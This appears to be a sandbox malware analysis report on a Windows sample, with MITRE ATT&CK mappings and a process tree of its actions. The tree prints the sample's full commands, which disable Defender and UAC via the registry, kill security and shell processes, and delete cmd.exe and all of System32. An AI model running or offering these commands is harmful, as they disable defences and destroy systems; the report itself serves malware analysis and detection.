bf844cbbd42053c6e4f7beaddfe653a295a9f056444a07d1d2e570bfe0ea240d

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables cmd.exe use via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "2"	reg.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
5048	takeown.exe
2716	icacls.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5048	takeown.exe
2716	icacls.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\1irsrb.exe	cmd.exe

Kills process with taskkill 9 IoCs

defense_evasion

pid	Process
428	taskkill.exe
2384	taskkill.exe
4836	taskkill.exe
3776	taskkill.exe
4044	taskkill.exe
4964	taskkill.exe
4912	taskkill.exe
1084	taskkill.exe
3060	taskkill.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	2404	GRoupALEst5bariya.exe
Token: SeIncBasePriorityPrivilege	2404	GRoupALEst5bariya.exe
Token: SeDebugPrivilege	428	taskkill.exe
Token: SeDebugPrivilege	2384	taskkill.exe
Token: SeTakeOwnershipPrivilege	5048	takeown.exe
Token: SeDebugPrivilege	4836	taskkill.exe
Token: SeDebugPrivilege	3776	taskkill.exe
Token: SeDebugPrivilege	4964	taskkill.exe
Token: SeDebugPrivilege	4912	taskkill.exe
Token: SeDebugPrivilege	1084	taskkill.exe
Token: SeDebugPrivilege	3060	taskkill.exe
Token: SeDebugPrivilege	4044	taskkill.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2404 wrote to memory of 2260	2404	GRoupALEst5bariya.exe	85
PID 2260 wrote to memory of 2248	2260	cmd.exe	87
PID 2404 wrote to memory of 4488	2404	GRoupALEst5bariya.exe	88
PID 4488 wrote to memory of 1032	4488	cmd.exe	90
PID 2404 wrote to memory of 2300	2404	GRoupALEst5bariya.exe	91
PID 2300 wrote to memory of 2688	2300	cmd.exe	93
PID 2404 wrote to memory of 4480	2404	GRoupALEst5bariya.exe	94
PID 4480 wrote to memory of 4732	4480	cmd.exe	96
PID 2404 wrote to memory of 1832	2404	GRoupALEst5bariya.exe	97
PID 1832 wrote to memory of 428	1832	cmd.exe	99
PID 2404 wrote to memory of 3804	2404	GRoupALEst5bariya.exe	101
PID 3804 wrote to memory of 2384	3804	cmd.exe	103
PID 2404 wrote to memory of 680	2404	GRoupALEst5bariya.exe	104
PID 680 wrote to memory of 5048	680	cmd.exe	106
PID 2404 wrote to memory of 836	2404	GRoupALEst5bariya.exe	107
PID 836 wrote to memory of 2716	836	cmd.exe	109
PID 2404 wrote to memory of 4264	2404	GRoupALEst5bariya.exe	110
PID 2404 wrote to memory of 3788	2404	GRoupALEst5bariya.exe	112
PID 2404 wrote to memory of 444	2404	GRoupALEst5bariya.exe	114
PID 2404 wrote to memory of 1456	2404	GRoupALEst5bariya.exe	116
PID 1456 wrote to memory of 1724	1456	cmd.exe	118
PID 2404 wrote to memory of 2804	2404	GRoupALEst5bariya.exe	122
PID 2804 wrote to memory of 4836	2804	cmd.exe	124
PID 2404 wrote to memory of 548	2404	GRoupALEst5bariya.exe	125
PID 548 wrote to memory of 3776	548	cmd.exe	127
PID 2404 wrote to memory of 1744	2404	GRoupALEst5bariya.exe	128
PID 1744 wrote to memory of 4964	1744	cmd.exe	130
PID 2404 wrote to memory of 4980	2404	GRoupALEst5bariya.exe	131
PID 4980 wrote to memory of 4912	4980	cmd.exe	133
PID 2404 wrote to memory of 1900	2404	GRoupALEst5bariya.exe	134
PID 1900 wrote to memory of 1084	1900	cmd.exe	136
PID 2404 wrote to memory of 2956	2404	GRoupALEst5bariya.exe	137
PID 2956 wrote to memory of 3060	2956	cmd.exe	139
PID 2404 wrote to memory of 4224	2404	GRoupALEst5bariya.exe	140
PID 4224 wrote to memory of 4044	4224	cmd.exe	142
PID 2404 wrote to memory of 2912	2404	GRoupALEst5bariya.exe	143

C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe
"C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2260
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:2248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4488
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
    3⤵
    - Modifies Windows Defender TamperProtection settings
    PID:1032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:2688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4480
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    PID:4732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1832
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im conhost.exe 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3804
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im conhost.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\cmd.exe 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:680
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\cmd.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:5048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\cmd.exe /grant administrators:F 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:836
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\cmd.exe /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /s /q C:\Windows\System32\cmd.exe 2>nul
  2⤵
  PID:4264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /s /q C:\Windows\SysWOW64\cmd.exe 2>nul
  2⤵
  PID:3788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /s /q C:\Windows\System32\conhost.exe 2>nul
  2⤵
  PID:444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableCMD /t REG_DWORD /d 2 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1456
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableCMD /t REG_DWORD /d 2 /f
    3⤵
    - Disables cmd.exe use via registry modification
    PID:1724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im explorer.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:548
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im powershell.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im regedit.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im msmpeng.exe 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1900
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im msmpeng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im WindowsDefender.exe 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4224
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im WindowsDefender.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /s /q C:\Windows\System32\*.* 2>nul
  2⤵
  - Drops file in System32 directory
  PID:2912

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry